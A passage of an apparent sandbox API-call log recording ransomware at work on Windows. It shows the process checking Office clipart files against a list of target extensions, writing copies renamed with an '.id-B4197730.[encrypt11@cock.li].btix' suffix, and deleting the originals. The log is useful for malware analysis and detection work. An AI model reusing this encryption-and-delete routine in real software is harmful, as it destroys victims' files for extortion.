(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString=".dbf") returned 4 [0147.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString=".1cd") returned 4 [0147.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString=".jpg") returned 4 [0147.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString=".doc") returned 4 [0147.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".docx") returned 5 [0147.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.594] lstrlenW (lpString=".pdf") returned 4 [0147.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".xls") returned 4 [0147.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.594] lstrlenW (lpString=".xlsx") returned 5 [0147.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.594] lstrlenW (lpString=".ppt") returned 4 [0147.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.594] lstrlenW (lpString=".zip") returned 4 [0147.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.594] lstrlenW (lpString=".rar") returned 4 [0147.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".bz2") returned 4 [0147.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".7z") returned 3 [0147.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.595] lstrlenW (lpString=".dbf") returned 4 [0147.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.595] lstrlenW (lpString=".1cd") returned 4 [0147.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.595] lstrlenW (lpString=".jpg") returned 4 [0147.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.595] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.595] lstrlenW (lpString="HH00084_.WMF") returned 12 [0147.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.595] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2472) returned 1 [0147.595] CloseHandle (hObject=0x37c) returned 1 [0147.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0147.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.596] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.596] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.596] GetLastError () returned 0x0 [0147.596] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0147.597] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0147.598] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.598] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.598] SetEndOfFile (hFile=0x380) returned 1 [0147.598] CloseHandle (hObject=0x380) returned 1 [0147.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.598] SetEndOfFile (hFile=0x37c) returned 1 [0147.599] CloseHandle (hObject=0x37c) returned 1 [0147.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString=".doc") returned 4 [0147.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".docx") returned 5 [0147.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.600] lstrlenW (lpString=".pdf") returned 4 [0147.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".xls") returned 4 [0147.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.600] lstrlenW (lpString=".xlsx") returned 5 [0147.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.600] lstrlenW (lpString=".ppt") returned 4 [0147.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString=".zip") returned 4 [0147.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.600] lstrlenW (lpString=".rar") returned 4 [0147.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".bz2") returned 4 [0147.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".7z") returned 3 [0147.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString=".dbf") returned 4 [0147.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString=".1cd") returned 4 [0147.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.600] lstrlenW (lpString=".jpg") returned 4 [0147.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString=".doc") returned 4 [0147.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString=".docx") returned 5 [0147.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.601] lstrlenW (lpString=".pdf") returned 4 [0147.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString=".xls") returned 4 [0147.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.601] lstrlenW (lpString=".xlsx") returned 5 [0147.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.601] lstrlenW (lpString=".ppt") returned 4 [0147.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString=".zip") returned 4 [0147.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.601] lstrlenW (lpString=".rar") returned 4 [0147.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString=".bz2") returned 4 [0147.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString=".7z") returned 3 [0147.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString=".dbf") returned 4 [0147.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString=".1cd") returned 4 [0147.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0147.601] lstrlenW (lpString=".jpg") returned 4 [0147.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.602] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.602] lstrlenW (lpString="HH00231_.WMF") returned 12 [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.602] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2232) returned 1 [0147.602] CloseHandle (hObject=0x37c) returned 1 [0147.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0147.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.602] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.602] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.603] GetLastError () returned 0x0 [0147.603] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0147.603] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0147.866] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.866] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.866] SetEndOfFile (hFile=0x380) returned 1 [0147.866] CloseHandle (hObject=0x380) returned 1 [0147.866] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.866] SetEndOfFile (hFile=0x37c) returned 1 [0147.867] CloseHandle (hObject=0x37c) returned 1 [0147.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString=".doc") returned 4 [0147.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString=".docx") returned 5 [0147.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.868] lstrlenW (lpString=".pdf") returned 4 [0147.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString=".xls") returned 4 [0147.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.868] lstrlenW (lpString=".xlsx") returned 5 [0147.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.868] lstrlenW (lpString=".ppt") returned 4 [0147.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString=".zip") returned 4 [0147.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.868] lstrlenW (lpString=".rar") returned 4 [0147.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString=".bz2") returned 4 [0147.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString=".7z") returned 3 [0147.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString=".dbf") returned 4 [0147.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString=".1cd") returned 4 [0147.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.868] lstrlenW (lpString=".jpg") returned 4 [0147.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString=".doc") returned 4 [0147.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString=".docx") returned 5 [0147.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.869] lstrlenW (lpString=".pdf") returned 4 [0147.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString=".xls") returned 4 [0147.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.869] lstrlenW (lpString=".xlsx") returned 5 [0147.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.869] lstrlenW (lpString=".ppt") returned 4 [0147.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString=".zip") returned 4 [0147.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.869] lstrlenW (lpString=".rar") returned 4 [0147.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString=".bz2") returned 4 [0147.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString=".7z") returned 3 [0147.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString=".dbf") returned 4 [0147.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString=".1cd") returned 4 [0147.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0147.869] lstrlenW (lpString=".jpg") returned 4 [0147.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.870] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.870] lstrlenW (lpString="HH00623_.WMF") returned 12 [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.870] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=10644) returned 1 [0147.870] CloseHandle (hObject=0x37c) returned 1 [0147.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0147.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.870] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.870] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.871] GetLastError () returned 0x0 [0147.871] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2994, lpOverlapped=0x0) returned 1 [0147.871] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0147.872] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.872] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.872] SetEndOfFile (hFile=0x380) returned 1 [0147.873] CloseHandle (hObject=0x380) returned 1 [0147.873] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.873] SetEndOfFile (hFile=0x37c) returned 1 [0147.873] CloseHandle (hObject=0x37c) returned 1 [0147.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.874] lstrlenW (lpString=".doc") returned 4 [0147.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".docx") returned 5 [0147.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.874] lstrlenW (lpString=".pdf") returned 4 [0147.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".xls") returned 4 [0147.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.874] lstrlenW (lpString=".xlsx") returned 5 [0147.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.874] lstrlenW (lpString=".ppt") returned 4 [0147.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.874] lstrlenW (lpString=".zip") returned 4 [0147.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.874] lstrlenW (lpString=".rar") returned 4 [0147.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".bz2") returned 4 [0147.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".7z") returned 3 [0147.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString=".dbf") returned 4 [0147.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString=".1cd") returned 4 [0147.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft 